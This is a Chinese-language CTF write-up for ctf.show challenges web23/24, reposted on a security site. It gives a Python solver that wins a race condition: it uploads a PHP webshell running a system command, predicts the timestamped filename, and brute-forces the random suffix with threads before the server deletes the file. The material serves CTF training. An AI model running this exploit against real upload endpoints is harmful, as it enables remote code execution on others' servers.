萌新计划23/24

admin 2022年1月5日22:52:45评论56 views字数 1315阅读4分23秒阅读模式

>

>

萌新计划23/24

hdxw

为了节约时间偷了一下upload.php的源码,关键代码如下

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){
	echo "uploads/$new_filename";
	sleep(1);
	system("rm -rf ./uploads/*.php");
}

上面是web23的部分源码,关键点在rand(100,1000)和sleep(1)

以下是解题代码

import requests,time,threading

subaddr = "http://16602fc0-ae8a-4658-a96b-a2815fc11da9.chall.ctf.show/"

def newThread(fun,*args):
    return threading.Thread(target=fun, args=args)

def execphp(fname):
    r = requests.get(subaddr + "uploads/" + fname + ".php")
    x = r.text
    if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
        print(x)

def check(fname):
    for i in range(100,400):
        # 每个文件名单起一个线程
        newThread(execphp, fname + str(i)).start()

def upload():
    while True:
        file_data = {'file':('anything.php',"<?php system(\"ls -l ../\");?>".encode())}
        r = requests.post(subaddr+"upload.php",files=file_data)
        txt = r.text
        print("uploaded:",txt)
        # 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
        ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
        fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
        # 单起一个线程,爆破下一次upload的文件名
        newThread(check, fname).start()


if __name__ == '__main__':
    upload()

逻辑很简单,需要注意的有以下几点:

  1. 100 ~ 1000数量很多,线程太多反而影响效率,可以取个1/3,爆破100 ~ 400按概率算爆破三次左右就出来了
  2. 下一次文件名中时间戳的计算逻辑。两次上传间隔可以忽略,直接用上一次的时间+sleep得出下一次的时间,如果和本地时间比较由于只精确到秒误差反而较大,不容易成功。
  3. 线程的使用,要异步执行的代码单起一个线程,没啥好说的。上面线程套线程勉强实现了功能

web24是rand(0,300)和sleep(3),修改一下参数就能跑


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:52:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   萌新计划23/24http://cn-sec.com/archives/719464.html

发表评论

匿名网友 填写信息